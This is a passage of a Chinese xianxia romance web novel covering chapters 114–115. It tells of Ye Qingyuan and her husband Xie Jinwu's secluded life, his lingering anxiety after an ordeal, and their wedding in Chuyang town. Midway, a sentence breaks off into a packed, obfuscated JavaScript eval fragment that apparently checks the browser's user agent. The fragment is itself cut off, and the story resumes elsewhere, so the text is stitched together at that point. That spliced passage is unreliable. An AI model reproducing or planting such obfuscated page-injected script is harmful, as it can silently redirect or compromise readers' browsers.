她有些疲倦地放下笔,拿过柑橘,闻了闻那股清甜甘爽的味道,勉强觉得神思清明了些。 忽然想起来,放学回来的路上,同学们聊起隔壁班的八卦,又问起她喜欢什么样的男孩子。 她那时的校服兜里正装了一只小橘子,沉甸甸的,很有分量,便笑着随口编了一个,说喜欢给她剥橘子吃的男生。 她喜欢吃橘子,但不喜欢剥。因为总会弄得手指黏腻发涩,很难洗。 同学不信:“你好敷衍呀。” 叶清圆很认真:“是真的。” 同学又笑:“可是世界上怎么会有人给你剥一辈子橘子呢?这又不是很复杂的事情,很多男生做多了就会觉得麻烦吧?” 夕阳温暖柔和,宛如熔金。 叶清圆被光芒照得眯起眼,漫不经心地笑:“会有的。” 她随口说的,其实没放在心上。 她那时的学习任务繁重,快要被作业压得不堪重负。 这所谓的“喜欢男孩子的标准”,也很快被忘在脑后。 那时根本没想到,在两年之后,她真的碰到了他。 114. 过春天 “这么英姿勃发,俊朗清隽的公子,不知是谁家的夫君呀?” 初春的午后,叶清圆抱着三花猫站在池水畔,笑意盈盈地望向谢尽芜。 落英缤纷的花树下置了石桌,桌上摆棋盘,谢尽芜正垂眸细思,修长冷白的手指执一枚玉质的黑子。 无事山居的日子很是清闲,他刚从蕴灵珠中出来不久,恨不得寸步不离叶清圆。可是叶清圆也不知哪来那么大的猫瘾,成天就抱着猫玩,动不动还发出细嫩的叫声,好像是在和猫沟通。 他只好开了棋局,与自己对弈。 谢尽芜不太高兴,又恨自己连只猫都争不过,更烦躁了。 叶清圆矮身将三花放下来,拍了拍衣裙蹭上的猫毛,笑吟吟地走去花树下。 她察觉到谢尽芜最近的情绪有些失落,却不知缘由,便语气轻松地过去逗他,状作恍然大悟道:“原来是我的夫君!” 话音落下,谢尽芜执棋子的手一顿,垂睫道:“可惜有人不珍惜,成日只知道和猫一起玩。” 叶清圆讶异挑眉,扭头看了一眼桔子树上撒泼打滚的两只猫,顿时明白了。 可她这段时日,分明也没有冷落谢尽芜呀? “抱抱。”她挨近他,示好撒娇。 谢尽芜的手指还拈着黑子,拧眉思索棋局,淡声拒绝:“我对猫毛过敏。” “哪儿有猫毛?”叶清圆低头一看,她的衣裙和胸口确实沾了薄薄一层猫毛,各色都有,“不对呀,昨晚我的裙子上也沾了橘总的毛,可是你脱我衣服的时候也没……” 话还没有说完,谢尽芜蓦地抬手,掌心捂住她的嘴巴,制止她再说下去。 仿佛对此羞于启齿、也羞于听闻似的,他的耳边泛出浅红。 叶清圆眨眨眼:至于嘛,敢做不敢叫人说? 他做这种事的时候可从不许她保持沉默。 她扯下谢尽芜的手,轻声道:“夫君,在跟两只猫吃醋呀?” “没有。”谢尽芜嘴硬。 叶清圆的两只手将他的左手拢在一起,是珍惜呵护的姿态,同时脑袋靠在他的肩膀上,小声道:“真的没有吗,夫君?” 谢尽芜将黑子随意一放,故作冷漠地偏过脸去。 叶清圆的指尖很轻地刮了他的掌心,又唤:“夫君。” 一连声的“夫君”,宛如春夜酥润的雨点,将谢尽芜满心的控诉都砸得消失不见。 纵使他勉力忍耐,却还是抵不住她清脆柔和的嗓音,轻轻地笑起来。 他还是这么好哄。 虽然很不想吃她这一套,可谢尽芜就是轻而易举地就被她哄开心。 叶清圆搂住他的脖颈,撒娇道:“别不开心啦。我们晚上吃什么?” 谢尽芜想了想:“给你糖醋鲫鱼,栗子鸡,好不好?” “吃点儿清淡的吧,”叶清圆提议道,“冬瓜虾米汤,还有菠菜炒蛋。” 谢尽芜看了她一眼,表示不解。 叶清圆幽幽道:“我最近长了不少肉。” “有吗。” 谢尽芜伸手在她腰上摸了两把,柔软莹润,手感真好。 他干脆就摸着不动了:“现在正好。” 叶清圆瞪大了眼。 谢尽芜清咳一声:“以前,有些瘦了。” “你……”叶清圆的脸颊飞上薄红,恼羞成怒,“你每天给我做这么多好吃的,就是为了这个。” “是有这方面的考虑……” 谢尽芜笑着解释,又凑过去吻了吻她气鼓鼓的脸颊,哄道,“但是太瘦了确实不好。你若是想,可以在闲暇时去山道散步,那里有野兔。” 顺带着锻炼一下体力,不要总是半途喊累。 叶清圆眨了眨眼,眸中露出怀疑的神色:“真的吗?我怎么从来没见过。” 谢尽芜很是笃定:“有的,在那片棠树林的旁边。我上次见到了一窝灰兔。” 他思索半秒,又道:“也可能是白兔,只是身上沾了土,看起来太脏。” 叶清圆被他逗笑了:“你怎么可以说人家脏呀。” 下一秒,她撸起袖子跃跃欲试:“那好吧!下午我就把兔子抓回来。” 谢尽芜一刻不转地看着她,漆黑的眼瞳中染了午后的碎光。 他看着她这样兴奋,突然就有些后悔。 若是叶清圆想把那窝兔子抓回来养着…… 他岂不是又多了好几个竞争对手? 不行。 不可以。 谢尽芜正要出言阻止。 叶清圆:“我们今晚就吃麻辣兔头吧!” “……” 谢尽芜把话咽了下去。 挺好的。她爱吃,就让她吃吧。 结果呢,没吃成。 叶清圆在棠花林旁绕了半天,是见到那窝兔子不假,可是它们跑得也太快。她才追出两步,那窝肥兔就不见了踪影。 沿着棠花林走了一会儿,叶清圆慢悠悠地逛到了山下。 这里有些松树,她前几天捡松果的时候还碰到了尾巴蓬松的小松鼠。 树下很阴凉,叶清圆跑半天有点累了,脊背出了一层薄汗,便坐在地面突起的树根上,揪了一把狗尾巴草,编兔子玩。 附近花木葱茏,没有百姓居住,要沿着山道再走上一刻,才能瞧见村镇的轮廓。 叶清圆喜欢幽静的地方,但是离群索居了太久,也未免觉出些平淡来。 她不常下山,谢尽芜更是不想离开她身边。因此两个人在山上居住许久,竟真如不问世事的小神仙一般。 ——除了几天之前。 谢尽芜收到一封信,而后他便带着信离开了无事山居。 直到天色泛黑时才回来。 那时暴雨如注,闷雷阵阵。他浑身被雨水浇透,却带来橙黄的柑橘,还有一盒子的珠钗首饰。 叶清圆发现他的唇色苍白,手指也冷得像冰。或许他着急回来,动作匆忙,以至于疏忽大意,没能掩住身上淡淡的血腥气。 那一盒子首饰被他保护得很好,除了表面略有潮湿外,里头仍旧干燥洁净。 她装作没察觉到他身上的血腥,只惊喜地笑:“真好看!” 那晚的谢尽芜异常沉默。他洗过澡,身上犹带潮湿的花香就上了床榻,紧紧拥住叶清圆,半条腿都压在了她的腿上,是个完全彰显占有欲望的、禁锢的姿势。 温热的气息拂在头顶。她眨了眨眼,纤长的睫毛扫过他锁骨处的小痣。 兴许是有些痒,他低声道:“还不想睡?那我们……” “想睡。”她连忙闭眼。 谢尽芜似乎是笑了,下巴蹭了蹭她的发顶,声音很轻:“那就乖乖的。” 叶清圆被他圈在怀中,迷迷糊糊真睡着了。 睡意朦胧之际,她的脸颊忽然有些痒,察觉到是谢尽芜在轻轻地吻她。 吻过之后,他又将她抱进怀里,气息颤抖,是很珍惜的样子。 他的手指钻进她的指缝,与她十指相扣。 叶清圆含糊不清地哼了两声,很快睡得沉沉。 翌日醒来,她也没问。 总归他有些事情不想让她知道。在这方面,她很尊重他的想法。 后来,谢尽芜带着她去拜访一位很有名的医师。 他进屋拿药,叶清圆在外面树荫下等候时,无意中听见几名来看伤的修士们提起:“听说渡真那几位长老被人杀了?” “我也听说了!全都是一剑割喉,头都快被砍掉了!” “真残忍!可是他们隐居的地方也没几个人知道,是谁动手?” “说不定是他们渡真内部的人呢?顾九枝?毕竟是她亲自安排的隐居之处。” 叶清圆眨眨眼,蓦地想起谢尽芜收到的那封信,以及身上的血腥味。 心里似乎明白了什么。 愣神之际,视线内蓦地一小片阴影覆下来。 谢尽芜不知何时已经走过来,他垂下眼睫,漆黑的眼瞳中有点笑意:“好了,我们走吧。” 叶清圆抬高视线,却见他两手空空,疑惑道:“药呢?” 谢尽芜从袖中取出瓷瓶,尚未打开,一阵苦涩的味道就飘了出来。 “这味道很熟悉,我好像在你身上闻到过。到底是治什么的?” 叶清圆很受不住这个味道,小脸皱了起来:“我们都没有受伤,也没生病,干什么要吃药?” “避子。”谢尽芜轻描淡写,视线在她平坦的小腹处扫了一圈,“还是说,你想要?” 叶清圆的神情茫然一瞬,连忙摇头道:“不想!” 至少现在还不想。 她勉为其难道:“那好吧,吃就吃。” “很苦的,你不要吃。”谢尽芜牵着她的手,慢悠悠地走出医馆,“我吃就好了。” 叶清圆后知后觉地反应过来。 难怪她觉得这药味熟悉,原来是谢尽芜在吃这种药,只是没告诉她而已。 出了医馆,沿着青石街道一路向南。谢尽芜轻声道:“来时路上有卖糖人的,我们要不要去买一个?” “好啊,要蝴蝶的。” 两人心照不宣,谁也没有提起那些修士们所说的事。 叶清圆偷眼打量他的神色,见他眉眼清峻,唇边挂着一抹温和的笑意,便松了口气。 那些都不重要。 只要他不再为仇恨所累,就很好。 - 无事山居的夜晚很寂静,唯有风拂花草,丛间鸟鸣。 叶清圆没抓到兔子。晚上,她捣鼓着捡来的松果,放在榻边小桌的香露瓷瓶里,用来扩香。 是谢尽芜费了很多心思才调制好的山茶花香,甜甜的味道。她嗅着这股香,颇为遗憾地躺在床榻上,目光炯炯,脑海里制定明天的行动方针。 她就不信了,以她的聪明才智,还能抓不到兔子? 谢尽芜刚沐浴过,提着水壶在院子里浇花。 头顶月明星稀,他借月光打量着这方小院,琢磨着还能搭建、添置些什么。 花树下还可以做一个花藤秋千。白天阳光明媚的时候,清圆就可以坐在秋千里,晒太阳,喂小猫。 这样,她应该就不会总想去外面玩了吧? 桔子树下就是猫窝,谢尽芜一边畅想,一边盛了两碗清水摆在旁边。 他其实不讨厌猫,却也谈不上喜欢。只因为叶清圆把它们当宝贝,他才顺手照顾一二。 谢尽芜从心底里嫉妒这两只猫。 他最难以容忍的画面,就是叶清圆整天抱着猫亲脑袋。 那两只猫到底有什么好亲的?还蹭了她唇瓣的口脂? 她怎么就不能多亲亲他呢? 虽然很不想承认,可是谢尽芜就是恨不得铲除叶清圆身边的所有生物,只留下他自己。 这样一来,她的世界里就只有他了。 可是不能这样做。他清楚的,叶清圆会不开心。 他不想让叶清圆不开心。 夜深了。谢尽芜看着两只猫呼呼大睡的舒坦模样,眉锋压低,眸色愈发深黑。 他洗净了手,推门进卧房,顺手将门窗都关好。 床榻上,叶清圆背对着他侧躺,柔滑的长发又铺了满枕。 谢尽芜垂睫看了一会儿,伸手将她的发都拢在掌心,低头吻了吻。 这一点微末的动静,让叶清圆闻声回头,恰好撞上他眷恋的目光。 “我以为你睡了。” 叶清圆的眸光很亮,坚定道:“我明天一定会抓到那窝兔子的。” “嗯。” 谢尽芜褪去外衫上了床榻,搂住她柔软的腰肢,另一只手与她十指相扣。 他漆黑的眼眸中没什么亮光,像是深不见底的幽潭。 叶清圆翻过身,莫名觉得谢尽芜此刻的状态很不对劲。 她注视着他的双眼:“你……” 话没有说完,叶清圆猝不及防就被扯进了温暖却用力的怀抱,一下子有些呼吸不过来。 她抬手推了推谢尽芜的肩膀,却反倒被拥得更紧了。 他的脸颊贴着她的,环在她腰间的手臂力道很大,勒得她都有些窒息,像是要将她整个人都融进自己的骨血里。 “清圆。”谢尽芜闭上眼,轻吻她的发,“宝宝。” 叶清圆停下挣扎,柔声应了。 好长时间了。自从谢尽芜从小世界里出来后,时不时就会呈现出这种有点疯癫的状态。 到底是为什么,他不曾说过。叶清圆认真思考过一段时间,猜测是最后那个小世界给他造成的影响。 最后的小世界里,谢尽芜抱着与她成婚的幻想与执念,孤身外出历险,充满希望又绝望地寻找了她快一年。 他有小世界里的记忆,刚重逢的那段时光,几乎是无法忍受与她的片刻分离。 叶清圆曾经好多次夜半醒来,就察觉到脸颊痒痒的,黑暗中好像有个人在抚摸她的脸。 她吓得以为闹鬼,却发现是谢尽芜大晚上的不睡觉,眸光眷恋却阴郁地望着她,仿佛生怕她会再次跑掉。 叶清圆松了口气,睡意惺忪地凑过去将他拥在怀里,声音轻得像是在哄他:“是做噩梦了吗?不怕不怕。” 单薄的身躯紧贴他的身体。 她的手臂纤长,与他坚实的肩背相比,宛如藤蔓缠住松柏。分明那样纤弱,却仍要用尽全身力气,将暖意都渡给他。 黑暗中,谢尽芜的眸光灼亮,仿佛燃着一簇无望的火。 他低下头,吻着她的脸颊和唇,过了好久,才颤声问:“你不会再离开了,对不对?” 宛如分不清梦境与现实。 叶清圆这才明白,小世界给他造成的影响太大,他还没能彻底走出来。 一年的无望找寻,足以将他好不容易建立起的安全感砸得溃散。 她问过谢尽芜,到底是怎么从小世界里出来的呢? 谢尽芜一开始不讲,只含混地说,因为太想你,所以就想办法来见你。 叶清圆不相信。这小世界的某些设定简直比系统还苛刻,怎么可能轻易叫他离开? 可是他却无论如何不肯说了。她只好去问系统。 系统只回复了两个字:“自尽。” 并非看出了小世界的破绽。只是因为她不在,所以他失去了活下去的念想。 就好像原书里的那个谢尽芜。复仇事毕,他的精神世界崩塌,根本不知道活着还能做什么,于是自刎于白雾茫茫的河边。 自谢尽芜从小世界出来后,叶清圆用了很多办法,想要帮助他走出阴霾。最后却发现这些方法都没用。 唯一起效的方法就是陪着他,说爱他,永远不离开他的身边。 所以这段时间,他们都很少离开无事山居。 谢尽芜这种缺乏安全感的焦虑症状也缓解了许多。叶清圆天天缠着他要吃好吃的,想要他做的香露,就是为了叫他在这些劳动中获得一些满足。 他做的这些事都与她有关,然后她会笑意盈盈地夸奖他,奖励他一个亲吻。慢慢地,他便不再那么虚无、燥郁。 只是到了晚上,偶尔还会再犯。 譬如此刻。 “我曾经去过很多地方,也见过不少奇人异术。” 谢尽芜忽然开口:“有些术法勉强堪称有趣,但大部分的邪术都很无聊。那些术法被创造出来,无非就是为了满足施术者的一己私欲,而非除祟驱邪。” “也有一些人,心存善念,倾力为民。仿佛来到这个世界就是为了完成某个造福百姓的使命。使命结束,他们也会消失。那些受到恩泽的人们,便认为他们是仙君,是菩萨,是从另外一个世界过来的。” 他说到此处蓦地顿住,不再开口。 叶清圆仰起脸,眨巴着眼睛:“嗯?怎么不说了?” 谢尽芜的眼睫颤动,月色为他的脸镀上一层柔和的光。 他注视着叶清圆,纤长的睫尾像是有莹白光点在跳跃。 “所以,我的夫人,是从哪个世界来的呢?” 叶清圆不明所以,思索一瞬后,意识到了某个可能性。 当初在冽雪山谷,他也说过这样的话。 ——我不会再纠缠你,你可以回家了。 叶清圆的声音有些颤抖:“你是不是一直都知道?” 谢尽芜不等她说完,蓦地低头,在她唇上吻了一下,如蜻蜓点水。 “我知道什么?”他勉力扯起唇角,露出一个笑容,手指却在细细地抖,“我只知晓我们的相遇,原本就是你有意为之。” 叶清圆的心跳剧烈,难以置信地看着他:“你……是恨我吗?” “是,我恨死你了。” 谢尽芜紧紧抱着她,眼眸中浮着一层水光,“你为何不能早些来找我?我只恨你不肯叫我早见你一日,叫我苦苦熬过这些年。若早知你我会相遇,四处漂泊的那些年,我光是想想就要开心得疯了。” 叶清圆快要被他的话语绕进去:“你不问我接近你有什么目的?” 谢尽芜的唇边扯出一抹笑:“我不在乎。你就是要杀了我也无妨。” 他抚着她的脸颊,眼神里有着隐隐的疯狂,声音却又很温柔:“但不管怎样,你不会离开我的,对吗?” 叶清圆说不出话。 谢尽芜又自顾自地轻声道:“可是你已经丢下过我一次了,在最后的小世界里。说好的要一起,你就那么离开了,我都不知该去哪里找。清圆,你说,我到底还能不能信你?” 叶清圆想说能,不管什么时候,你都可以相信我。 可是谢尽芜却将脸埋在她的胸前,祈求似的开口:“如果不能,你就骗骗我吧,骗我也好。反正你知道我无论如何都会相信你的。” 叶清圆心中一阵酸涩,抱住他,声音很轻,语气却坚定:“我不会离开你,永远不会。” 她补充道:“谢尽芜,我不是在敷衍你,也不是在哄你。我说过的每一句话都作数,我说不会离开你,就一定不会。” “就算有朝一日我被迫离开这个世界。你相信我,我也会找到办法带你走的。” 谢尽芜的脸埋在她怀中,颤声道:“好,一言为定。” 温热的气息喷洒在她胸前,有些痒。 叶清圆好歹是忍住了,手心放在他的头顶,沿着他的头发一下一下地抚摸着,安抚他略显疯癫的状态。 过了一会儿,谢尽芜的情绪平复许多。 他抬起脸,在她下巴吻了吻:“清圆,你说的每句话、每个字我都会永远记得。” 叶清圆半阖着眼,蹭了蹭他的鼻尖:“小世界那次只是个意外。你放心,以后,我绝不会食言的。” 谢尽芜贴着她侧颈,笑了笑,这次是眸光终于清明了。 或许他也觉得自己方才黏人得有点过分,于是后知后觉地撤出一点距离来。 他轻声说:“明天还要去抓兔子吗?” 叶清圆感受着他攥住自己腰肢的力道,有些拿不准。 她是该去呢,还是该留下来陪着他? “想去就去。”谢尽芜退了一步,又补充说,“不用管我。” 叶清圆:“……” 算了,这可是你说的。 “去呀,我已经想出了个好办法。明天我要带一些青菜,给它们制造个陷阱……” 叶清圆话还没说完,亲昵的吻已经落了下来。 是你要我自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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此人坏招颇多,精力又充沛。叶清圆终于咬牙切齿地体会到,何为“小别胜新婚”。 她吃过午饭又去抓兔子。这次终于抓到了一只兔宝宝,太小了,她拍了拍兔子脑袋,将它又放了回去,准备明天再战。 明日,还是兔宝宝。 再过一日,还是兔宝宝。而且还恰好是同一只。 叶清圆揪着它的后颈,恨铁不成钢道:“怎么每次抓兔子都有你?你就馋成这样啊?明天把你妈叫来!” 再过一日,叶清圆终于抓住了那只大肥兔子。 她却不怎么忍心吃了。 要是吃了兔子,谁来和她玩这种躲躲藏藏的游戏呢? 于是她将兔子又放了回去,隔一日,再带着食物来抓。 时间久了,那一窝兔子个个长得膘肥体壮,见了她都不带认生的,很亲昵地就过来蹭她的裙摆。 叶清圆无奈:“你们是不是把我当送外卖的啦?” 无事山居的生活很平淡。 叶清圆对一切都很满意,除了她的夫君太过缠人。 不久后,某天,用过晚膳,谢尽芜在灯下研究菜谱。 叶清圆端坐在他的对面,一张瓷白的俏脸上满是严肃,突然说道:“谢尽芜,以后我们分开睡。” 谢尽芜头也未抬,干脆地拒绝:“不行。” 叶清圆打定了主意要这么做,严肃道:“我今天抓兔子的时候,因为腿软,崴到脚了。” 谢尽芜的脸色变了,搁下菜谱就要去捉她的足腕。 叶清圆扭着身子想避开,没用,纤细的脚腕还是被他轻松攥住。 谢尽芜将她的小腿轻轻拉起,搁在自己腿上,仔细检查过,只踝骨处微红,倒没有别的大碍。 他松了口气,却没松手,掌心还在她腿上,拇指摩挲着她细嫩的肌肤。 “你知道是为什么吗?”叶清圆伸出手指点了点他,“因为你。” 谢尽芜抬眸道:“我?” 这就没道理了。他的脑海中飞速掠过近日种种,没有找到导致叶清圆突然闹这种别扭的根由。 “我近日应该没有惹你生气,”他试探着唤了她一声,“宝宝?” 唤什么都没用。叶清圆很潇洒地说:“反正你从今天开始就要去西房睡,不可以再和我同榻!” 这下子,谢尽芜无法冷静了,他的眉心微蹙:“到底是因为什么?” 叶清圆不好意思将话说得太明白,只暗示道:“你晚上睡觉太不老实。” 谢尽芜拧起眉,睡觉不老实? 他开始怀疑起自己的睡相来。 没道理。他的睡相应该不差,反倒是被她抢过好几次被子,半梦半醒间还被踹过一脚。 况且,他从前在外执行任务时,未免野兽困扰,也经常睡树枝。若是真的睡觉不老实,早就摔下树来了。 谢尽芜百思不得其解。 到了睡觉的时候,果真叶清圆不许他进屋。谢尽芜在院子里晒月亮,百无聊赖,看橘子树下那两只肥猫都呼呼大睡了,估摸着叶清圆也睡下,便又推门去看了一眼。 叶清圆睡得四仰八叉,摊手踢腿,真就没给他留空间。 谢尽芜站在榻边看了一会儿。现在若是直接上榻抱着她睡,也可行,反正她睡觉一向很沉,发现不了。 但明天叶清圆知道以后,保不准又要立下什么别的规矩。 谢尽芜思索片刻,得想个别的办法。 于是,他只是给她掖了掖被角,转身去了西房。 翌日早晨,叶清圆神清气爽地醒来,推门到院子里,就见谢尽芜正在莲池旁喂鱼。 谢尽芜见她气色红润,顿时怄得连喂鱼的心思也没了。 离了他,她竟也睡得这样安稳。 他控诉道:“西房很冷。” 叶清圆眨眨眼:“两边不一样吗?” “不一样,”谢尽芜低声道,“若你今晚还要我去那里睡,我就该得风寒了。” “因为一个人睡很冷。” 叶清圆:“……” 天啊。这么委屈吗? 谢尽芜见她神情略有松动,又低声道:“我得了风寒不要紧,只怕不能再给你做好吃的了。” 看,多会拿捏情绪,多会惹人心疼。 他到底是跟谁学的? 这一番话说出来,叶清圆彻底败下阵来。 她松了口,对他没办法招架的样子:“好吧,好吧。” 谢尽芜唇角边有一抹得逞的笑,又迅速隐去。他将鱼食都扔进莲池里,对叶清圆低声道:“昨晚我吹了很久的冷风。” 叶清圆瞪大了双眼:“你开着窗户睡?” “……不是,”谢尽芜走过来,张开双臂直接明示,“我吹了一晚冷风,你要怎么办,宝宝?” 叶清圆的“分房睡”计划被他这么一搅和,全盘溃散。 她笑着扑进他怀里,道:“怎么办?今晚一起睡,好不好?” 就像在无事山居生活的这段日子里,他们从来不曾吵过一次架,红过一次脸。 彼此都有一百种方法可以治对方,根本就吵不起来。 唯有一点,谢尽芜此人似乎就没什么羞耻心,常一本正经地说些荤话。尤其在床榻间,低低笑着,口无遮拦,总将她逗得面红耳赤,恼羞成怒地扑过去要挠他。 等她真在他身上挠出痕迹,他又很开心地笑出声来。仿佛这抓痕是什么勋章一般。 晨光明暖。莲池里有锦鲤游动,水声清亮。 叶清圆任由他抱了会儿,恍惚觉得谢尽芜好像没那么阴郁了。 都会和她开玩笑了。或者说……撒娇? 叶清圆一直认为“撒娇”这种事,是被珍爱的人才会做出的举动。 因为知道自己是被放在手心里爱着的,所以有恃无恐,所以恃宠而骄。 他正在慢慢地从小世界里走出来。 叶清圆牵着他的手,一点一点地带他出来。 就像她攻略他的那个过程。从一个被雪藏的反派,到她的故事里的主角。 叶清圆笑意盈盈地看着他,忽地想起一件事来:“昨天收到雁含的来信,她和白璟就要从南海回来了。” 她笑道:“他们两人还不知道你已经‘复活’的消息呢。夫君,要不要给他们个惊喜,或者惊吓?” 谢尽芜拥着她,思索片刻道:“你想回初阳镇吗?” “回初阳镇?” “嗯,”谢尽芜神色认真,“我们还有一场婚礼没办。” 叶清圆想起来了。 谢尽芜从小世界出来之后,两人又结过道契,当初说过的婚礼却是一直拖着没办成。 也不是没放在心上。只是那时他刚回来,两人匆忙结过道契后就腻了一段时间,是与山外世界半隔绝的状态。腻得太过,自然就谁也没提回到初阳镇的事。 现下谢尽芜提起此事,恰逢白璟和许雁含从南海回来,就是要他们直接去初阳镇参加大婚的意思了。 谢尽芜柔声道:“前段时间一直在准备,没有告诉你,是不想你有压力。” 他可以把所有的事情都安排妥帖,叶清圆只要无忧无虑地玩就好。 叶清圆眨眨眼,笑道:“又是未雨绸缪?” 他在金璧城时就画好了无事山居的设计图,准备好了结契所需的材料。 这次也是,谢尽芜既然开口提起这件事,那就是整个流程、所有细节都安排好了,只待她点头。 谢尽芜乌黑的眼瞳中闪烁着笑意:“盼望已久。” 115. 大婚宴 叶清圆与谢尽芜的婚礼定在今年的初夏。 谢尽芜事先就送去聘书,下了聘礼。挂着红绸的枣红色木箱堆满了叶家的宅院。正堂前,肥美漂亮的大雁转动着眼珠,不时扑动翅膀。 左右街坊大感好奇:“这是谁家的少爷要求亲呀?”“好大方的哟!” 笔直开阔的青石巷子里,聘礼、贺礼如同流水一般淌进小院。 渡亡白氏也来了很多人。 白令勋和白夫人领着一溜小跟班,浩浩荡荡地进了初阳镇。 他们没有穿族中服制,而是凭自己心意穿了锦衣轻袍。族中子弟各个身形修长,姿容出众,齐刷刷往街头一站,甚是惹眼。 白令勋那张娃娃脸上洋溢着幸福的笑容,慷慨地对巷子里的百姓投以微笑。 白夫人拽了拽他的袖子,低声道:“稳重些,看你那不值钱的样子。” 白令勋微微收敛,又憋不住,以手掩口道:“真比璟儿成婚还叫我高兴哪。” 他们的身后,白氏子弟皆是玉面含笑,好奇地望着周遭,叽叽喳喳地小声交谈着。 叶肃早就在门口迎着了。他今天特意穿了一身新制的锦袍,连胡子都仔细打理过。一见白令勋和白夫人过来,当即就喜上眉梢,笑道:“白……” 白令勋握住他的手,响亮道:“亲家公!” - 白璟和许雁含听说有婚席,早就日夜兼程赶到了初阳镇。 俩人都晒黑了挺多,也都长高了,乍一看竟是没认出来。白璟和许雁含给他们带了许多贺礼,都是土特产,用符咒封着保鲜。 许雁含还送给了叶清圆一个琉璃罐子,里面装满了缤纷漂亮的贝壳与海螺,还有洁白的一层细沙,甚至还有海星。 白璟补充道:“是她一个个捡的,这些小玩意儿的名字还挺有意思,只是太难念,我没记住。” 许雁含笑道:“笨!” 白璟露齿一笑,浅浅的小麦色肌肤,衬得他沉稳又健康。 叶清圆也笑:“谢谢你们呀。” 许雁含拉着她的手,开心得蹦蹦跳跳:“清圆姐姐,海边真的很好玩的!婚礼结束后你们一定要去啊!” “好。”叶清圆转头看向谢尽芜,“我单方面决定了。” 谢尽芜颔首笑道:“我没意见。” 顾九枝听说喜讯之后,也百忙之中亲自送来了贺礼。叶清圆见她眉目舒展,唇角含笑,倒比之前看起来气色好了很多。 三人找了个安静的地方,顾九枝轻声说:“我给族里人立了规矩,从此以后,不会再有渡真的人接近冽雪山谷。” 她的语气显得轻松,兴许也是不想在这热闹的场合将话题搞得太过沉重。 谢尽芜颔首,没说什么。叶清圆给她倒了一杯茶,笑道:“好不容易来一趟,不如多住几天?” 顾九枝道谢,这次是真心实意地笑了:“我要离开渡真了,近日还有些收尾事务要安排,所以会比较忙碌,抱歉,不能久待。” 叶清圆讶然:“离开?渡真如今可是出了名的清雅,你费了那么大的功夫才将渡真的不端之人肃清,竟忍心就此离开吗?” 顾九枝笑道:“功成何必在我。” 她的使命已经完成,胜利的果实不是非要掌握在她的手中。 顾鸢将会成为渡真的新任家主,她是顾九枝一手栽培的心腹,被安插在长老院做过十几年的暗桩。长老院的肃清,离不开顾鸢的情报与决策。 顾九枝为渡真挑选了这样一位机敏而果决的家主,也算对得起渡真三十几年来的养育之恩了。 叶清圆静静地看了她片刻,笑道:“那离开渡真以后要去哪里?” 顾九枝很松泛地托着腮,道:“还没想好。不过四海之大,我总不必为此而感到烦恼。” 两人都笑起来。忽然,谢尽芜轻声道:“在冽雪山谷的时候,谢长生叫我给你带一句话。” 顾九枝的眼睫颤了一下:“……什么?” “他说,院子里的葡萄该熟了。” 顾九枝怔了一瞬,随即垂眸轻笑。 这句话的意思只有她自己懂。 叶清圆虽不明所以,却也由衷为她感到高兴。 山水有相逢。或许在将来的某一日,她们还能遇到。 - 江尚绵难得下山回府。她的女儿成婚,她说什么也得露面见证的,叶肃也劝她,女儿成婚是大好的事,或许能冲冲你的病气呢? 果不其然,这场婚礼前期准备了多日,江尚绵亲自指挥府里人干活,真的忙起来,却是越发有精神。 街坊邻居打趣她:“你这是人逢喜事精神爽。” 江尚绵笑着颔首,转头就见院子里的花藤架子下,叶清圆乐呵呵地给府里仆人们发起了赏钱。 - 成婚当天,叶清圆端坐在梳妆台前,由着叶肃请来的妇人们为她梳头上妆。 她弯了眉眼,镜子里的姑娘也笑。正为她挽发髻的妇人见状也笑道:“姑娘生得好看,头发也柔顺乌亮呢。” 江尚绵出家多年,也不懂这些复杂的妆面,此时闻言便笑道:“是,她从小头发就很柔软,发丝细。” 蓦地回想起叶清圆刚出生时的模样,瘦瘦小小的一团,头发贴在头皮,脸也皱着,真真再可怜也没有了。 她说是后悔与叶肃成婚,却不曾后悔过生下叶清圆。 毕竟是血脉相连的母女,曾经连心跳也能互相感知,说不喜欢、不疼爱都是假的。 只是将对自己无能的埋怨,迁移到女儿身上罢了。 江尚绵体虚得缠绵病榻的时候,叶清圆才刚断奶。 江尚绵搬到清静的山中居住时,叶清圆连发辫都不会自己编。 一个自小感受不到母爱的姑娘,谁也想不到她会遭受何种磨难。 结果,她的女儿,也就这么艰难地捱过来了。 长成这般明媚的模样。 如今已经要出嫁。 叶清圆的额心绘了凤凰花的花钿,眉眼的妆也细致,随意动一下,便是光华溢彩。 眉如新月,杏眸含笑,好绮丽明媚的一张脸。 妇人们最后梳好发髻,簪了金丝宝凤钗。一支绣了鸳鸯、缀满珍珠的小扇递了过来。 吹吹打打的喜庆声响起,院外青石巷子里隐约有笑闹声。 叶清圆推开窗望去,就见谢尽芜正听白令勋说着什么,眉眼认真。 他着一身红色喜袍,乌发戴冠,玉带束在腰上,勾勒出挺拔的腰背线条,姿容是说不出的艳丽。微红的唇角抿起,带一点点笑。 白令勋压低声音,趁白夫人不在,与谢尽芜传授着自己多年悟出来的道理:“夫妻恩爱之道,说穿了就是一句话。夫人需要你的时候,你要体贴关怀,无微不至;夫人不需要你的时候,或者夫人不悦的时候,你就该有些眼力见,静静地消失在她的视线里。” 这…… 谢尽芜保持怀疑。 夫人若是不悦,不该好声好气地哄着吗? 晾着不搭理算是怎么回事? 白令勋又道:“就比如我和你舅母。你舅母有些害怕见生人,这段时间她会很需要我陪伴。所以,我就会寸步不离地陪着她。等回到家里,她不需要我了,或许又会将我一脚踹开。” 舅父,你的家庭地位好像不太高呢。 白令勋推心置腹道:“疼爱夫人,是男子活在这世上最值得骄傲的美德啊。” 这一点,谢尽芜深以为然。 于是他点了点头。 白令勋深觉孺子可教也,拍了拍他的肩:“好小子!” “好小子”谢尽芜笑了笑,恰好视线上移,与推窗的叶清圆撞了个正着。 隔着春末夏初的明艳日光,叶清圆清晰地瞧见,他眼中笑意愈发深刻许多。 妇人立刻来阻拦:“哦呦,这可使不得哟,新娘子快关窗。” 于是关窗,出门。 没有按照规矩来,两人就在叶府拜天地。 长裙曳地,彩绣吉袍。她以团扇遮面,搭着他的手,跨过横在地上的马鞍,取“此生安稳”之意。 